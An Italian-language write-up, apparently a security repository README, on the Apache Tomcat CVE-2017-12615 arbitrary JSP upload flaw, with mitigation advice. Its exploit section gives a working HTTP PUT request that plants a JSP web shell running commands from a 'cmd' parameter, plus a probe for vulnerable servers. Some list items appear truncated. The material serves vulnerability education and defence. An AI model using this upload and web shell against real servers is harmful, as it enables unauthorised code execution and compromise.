
CVE-2017-12615 - Apache Tomcat Esecuzione di codice remoto (RCE)
CVE-2017-12615 è una vulnerabilità di Esecuzione Remota di Codice (RCE) che colpisce Apache Tomcat 7.0.0 fino a 7.0.79 in esecuzione su Microsoft Windows quando le richieste HTTP PUT sono abilitate.
La vulnerabilità esiste perché Tomcat gestisce erroneamente i file JSP caricati quando il DefaultServlet è configurato con il parametro readonly impostato su false. In queste condizioni, un attaccante non autenticato può caricare un file JSP malevolo direttamente sul server web ed eseguire codice Java arbitrario semplicemente richiedendo il file caricato.
Questa vulnerabilità è diventata uno dei problemi RCE di Tomcat più noti a causa della facilità con cui poteva essere sfruttata contro server mal configurati.
readonly="false" configurato sul DefaultServlet| Metrica | Valore |
|---|---|
| CVE | CVE-2017-12615 |
| CVSS v3 | 8.1 (Alto) |
| Vettore d'Attacco | Rete |
| Privilegi Richiesti | Nessuno |
| Interazione Utente | Nessuna |
| Impatto | Esecuzione Remota di Codice |
Normalmente, Apache Tomcat impedisce agli utenti di caricare file JSP eseguibili.
Tuttavia, quando:
readonly=false)un attaccante può caricare un file JSP direttamente nella root web.
Una volta caricato, richiedere quel JSP induce Tomcat a compilarlo ed eseguirlo, consentendo l'esecuzione di codice Java arbitrario con i privilegi del servizio Tomcat.
Attacker
│
│ HTTP PUT
▼
Uploads malicious JSP shell
│
▼
Tomcat stores file
│
│ HTTP GET
▼
Requests uploaded JSP
│
▼
Tomcat compiles JSP
│
▼
Java code executes
│
▼
Remote Code Execution
Un attacco tipico segue questi passaggi:
.jsp malevola.Non è richiesta autenticazione se il server è vulnerabile.
Esempio di richiesta HTTP PUT:
PUT /shell.jsp HTTP/1.1
Host: victim.com
Content-Type: application/octet-stream
<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
Se ha successo, il server risponde con:
HTTP/1.1 201 Created
Il payload può quindi essere eseguito visitando:
http://victim.com/shell.jsp?cmd=whoami
Un modo semplice per identificare sistemi vulnerabili è tentare di caricare un JSP di test innocuo:
PUT /test.jsp
Le risposte possibili includono:
201 Created
oppure
204 No Content
Se il file caricato può essere successivamente recuperato via HTTP, è probabile che il server sia vulnerabile.
Uno sfruttamento riuscito consente a un attaccante di:
I team di sicurezza dovrebbero investigare per:
.jsp appena creatiLe mitigazioni raccomandate includono:
readonly="true".| Proprietà | Valore |
|---|---|
| Vulnerabilità | Caricamento Arbitrario di JSP |
| CWE | CWE-434 - Caricamento senza Restrizioni di File con Tipo Pericoloso |
| Autenticazione Richiesta | No |
| Complessità dello Sfruttamento | Bassa su configurazioni vulnerabili |
| Risultato | Esecuzione Remota di Codice |
| Piattaforma | Windows |
| Servizio | Apache Tomcat |
Questo repository è destinato esclusivamente a scopi educativi, ricerca sulla sicurezza difensiva e test di penetrazione autorizzati. Non utilizzare queste informazioni contro sistemi senza autorizzazione esplicita.